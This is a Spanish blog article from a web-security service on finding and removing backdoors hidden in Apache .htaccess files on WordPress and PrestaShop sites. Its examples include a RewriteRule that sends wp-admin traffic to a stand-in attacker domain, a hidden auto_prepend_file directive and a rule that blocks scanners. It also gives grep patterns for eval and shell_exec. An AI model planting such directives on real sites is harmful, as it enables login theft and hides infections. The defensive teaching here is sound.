Qué es un backdoor en .htaccess y por qué es una amenaza crítica
En mi experiencia analizando sitios WordPress y PrestaShop comprometidos, los backdoors alojados en el archivo .htaccess son de las amenazas más insidiosas que encuentro. A diferencia de un backdoor tradicional en PHP, este tipo de malware se camufla en un archivo de configuración del servidor Apache que muchos administradores ni siquiera revisan regularmente.
El archivo .htaccess es un fichero de control de acceso que reside en la raíz de tu sitio web. Cuando un atacante lo compromete, puede inyectar directivas que redirigen tráfico, ejecutan código malicioso de forma silenciosa, o crean puntos de entrada alternativos al panel de administración. Lo más peligroso es que no aparece en tu interfaz WordPress, pasando desapercibido durante meses.
Cómo funciona un backdoor en .htaccess: vectores técnicos
Redirecciones silenciosas (RewriteRule)
El atacante utiliza módulos como mod_rewrite para interceptar peticiones HTTP específicas. Por ejemplo:
RewriteCond %{QUERY_STRING} ^.*wp-admin.*$
RewriteRule ^(.*)$ http://sitio-atacante.com/datos.php?param=%{HTTP_HOST} [R,L]
Esto captura intentos de acceso a wp-admin y los redirige a un servidor controlado por el atacante, robando cookies de sesión o datos de login.
Inyección de código PHP oculto
Algunos backdoors en .htaccess usan la directiva php_value (si está habilitada en el servidor) para ejecutar código PHP sin necesidad de archivos .php visibles:
php_value auto_prepend_file /ruta/archivo-oculto.txt
Aquí, un archivo de texto con código PHP se carga automáticamente en cada página, creando un acceso persistente sin dejar rastro obvio.
Bloqueo de herramientas de seguridad
Muchos backdoors en .htaccess bloquean el acceso a herramientas de análisis de seguridad. Cuando lo analizo con Wordfence CLI o Sucuri, me encuentro con:
RewriteCond %{USER_AGENT} ^.*(bot|crawler|scanner).*$ [NC]
RewriteRule ^.*$ - [F,L]
Esto rechaza conexiones de scanners de seguridad, ocultando la infección.
Síntomas de que tu sitio tiene un backdoor en .htaccess
Señales en Google Search Console
Lo primero que hago es revisar Google Search Console. Si ves:
- Advertencias de malware o «Sitio aparentemente pirateado»
- Tráfico referente sospechoso desde dominios desconocidos
- URLs indexadas que tú no creaste (típicamente /admin-login, /wp-json-custom)
Estos son indicadores fuertes de un backdoor activo.
Redirecciones aleatorias a usuarios
Si tus visitantes reportan redirecciones a casinos, farmacias o sitios de crypto sin motivo, es probable que el .htaccess esté modificado. Esto afecta gravemente al SEO y la confianza de usuarios.
Consumo anómalo de recursos
Un backdoor ejecutando código o enviando datos constantemente genera picos de CPU y tráfico de salida. Revisa los logs de tu hosting con top o htop en terminal.
Búsqueda del backdoor: metodología paso a paso
Paso 1: Acceso a los archivos raíz vía SFTP/SSH
No uses el administrador de archivos de cPanel para esto; es demasiado lento. Conecta por SSH o SFTP (FileZilla, WinSCP) directamente a tu servidor. Navega a la raíz del dominio (habitualmente /public_html/ o /home/usuario/public_html/).
Listar archivos ocultos con el comando:
ls -la
Esto mostrará todos los archivos, incluidos los que comienzan con punto (.) como .htaccess.
Paso 2: Extrae y analiza el contenido del .htaccess
Descarga el archivo .htaccess a tu máquina local. Abrelo con un editor de texto plano (Notepad++, VS Code, Sublime Text). No uses Word, corromperá el formato.
Busca líneas sospechosas:
- Dominio externa (example.com pero que no reconoces como propia)
- Rutas a archivos .txt, .tmp o similares
- Directivas php_value con rutas anómalas
- RewriteCond o RewriteRule que redirigen a dominios desconocidos
- Base64 o caracteres codificados (ofuscación)
Un .htaccess legítimo suele tener 10-30 líneas simples. Uno con backdoor puede tener 100+ líneas con lógica compleja.
Paso 3: Verifica modificaciones recientes
En SSH, usa:
stat .htaccess
Esto muestra cuándo se modificó por última vez. Si la fecha es anterior a cuando sabes que fue pirateado, confirma la infección.
También revisa los permisos:
ls -l .htaccess
Debería mostrar algo como -rw-r--r--. Si ves -rw-rw-rw- (permisos 666), significa que cualquier proceso puede escribirlo.
Paso 4: Búsqueda con grep (terminal)
Si tienes acceso SSH, usa grep para detectar patrones maliciosos:
grep -E "RewriteCond|RewriteRule|php_value|auto_prepend" .htaccess
Examina cada coincidencia. Las redirecciones legítimas apuntan a tu propio sitio; las maliciosas, a dominios externos.
Eliminación segura del backdoor
Opción 1: Restaurar desde backup limpio
Si tienes un backup de .htaccess anterior a la infección, restauralo. Muchos hostings guardan backups automáticos. Contacta con tu proveedor.
Opción 2: Reconstruir .htaccess desde cero
La opción más segura es eliminar el archivo completo y reconstruirlo según tus necesidades reales.
Haz una copia de seguridad del actual (renómbralo a .htaccess.backup.txt).
Luego, crea un .htaccess limpio básico para WordPress:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.html$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
Este es el contenido estándar que WordPress genera automáticamente. Si necesitas reglas personalizadas (SSL, caché, seguridad), añádelas línea a línea y prueba después de cada cambio.
Paso 3: Verifica la limpieza en navegador
Accede a tu sitio desde múltiples navegadores. Si aparecen redirecciones, el backdoor sigue activo o hay código malicioso en otros archivos.
Búsqueda de backdoors en archivos relacionados
El .htaccess es solo la puerta; el atacante probablemente dejó otras pistas.
Analiza wp-config.php
Busca líneas sospechosas al final del archivo:
grep -n "eval|base64_decode|system|exec|shell_exec" wp-config.php
Cualquier coincidencia indica inyección de código.
Revisa la carpeta /wp-content/uploads/
Los atacantes suben webshells aquí. Ordena por fecha de modificación:
find wp-content/uploads/ -type f -mtime -30
Esto lista archivos modificados en los últimos 30 días. Los .php, .phtml o .phar aquí son sospechosos.
Inspecciona plugins y temas activos
Un plugin nulled o desactualizado es el vector número uno en WordPress. Usa WP-CLI:
wp plugin list --status=active
Verifica cada uno en plugins.wordpress.org. Si una versión no coincide o el plugin no existe, es malware.
Protección post-limpieza: hardening del .htaccess
Protege wp-login.php y wp-admin/
Añade estas líneas al .htaccess para limitar intentos de acceso:
<FilesMatch "^(wp-login.php|wp-admin)>">
<IfModule mod_ratelimit.c>
RateLimitBytes 102400
</IfModule>
</FilesMatch>
Esto ralentiza ataques de fuerza bruta.
Bloquea acceso a archivos sensibles
<FilesMatch ".(wp-config|wp.db).php$">
Order Deny,Allow
Deny from all
</FilesMatch>
Deshabilita la ejecución de PHP en carpetas de upload
<Directory "wp-content/uploads">
<FilesMatch ".php$">
Deny from all
</FilesMatch>
</Directory>
Corrige permisos de archivos
En SSH:
chmod 644 .htaccess
chmod 600 wp-config.php
chmod 755 wp-content/uploads/
Esto evita que procesos de terceros modifiquen estos archivos.
Herramientas especializadas para detección avanzada
Si la búsqueda manual no encuentra nada pero sospechas malware oculto, uso estas herramientas:
- Wordfence Security: Escanea el sitio completo buscando backdoors, incluye verificación de integridad de archivos WordPress.
- Sucuri SiteCheck: Análisis online rápido de malware y blacklist.
- VirusTotal: Sube el .htaccess para escanear con 70+ antivirus simultáneamente.
- MalCare: Plugin WordPress con detección heurística de backdoors.
Cuándo contactar con un profesional
Si después de estas verificaciones:
- Encuentras código ofuscado que no comprendes
- El sitio sigue redireccionando después de limpiar .htaccess
- Google sigue marcando el sitio como «aparentemente pirateado»
- Los logs muestran actividad sospechosa que no consigues bloquear
Es momento de actuar. En ManuelFolgar.com realizamos análisis profundos de malware WordPress y PrestaShop, incluyendo búsqueda de backdoors en múltiples capas: servidor, base de datos, y código fuente. Limpiamos la infección, reforzamos la seguridad y te ayudamos a recuperar la confianza de Google.
Contacta con nuestro equipo de seguridad web para una auditoría completa de tu sitio. Sin compromiso.
Resumen: checklist de acción inmediata
- Conecta por SSH/SFTP a la raíz de tu sitio.
- Descarga y abre .htaccess en editor de texto.
- Busca dominios externos, RewriteRule sospechosos, php_value anómalos.
- Revisa fecha de modificación y permisos del archivo.
- Si encuentras malware: elimina .htaccess y reconstruye desde cero con las líneas básicas de WordPress.
- Analiza wp-config.php, /wp-content/uploads/ y plugins con Wordfence.
- Modifica permisos de archivos a 644 (.htaccess) y 600 (wp-config.php).
- Usa Sucuri SiteCheck o VirusTotal como verificación independiente.
- Si persisten síntomas, solicita ayuda profesional.
La seguridad de tu sitio web no es negociable. Un backdoor en .htaccess puede estar robando datos de tus clientes o difundiendo malware durante meses sin que lo notes. La detección temprana y la limpieza inmediata son clave para minimizar el daño.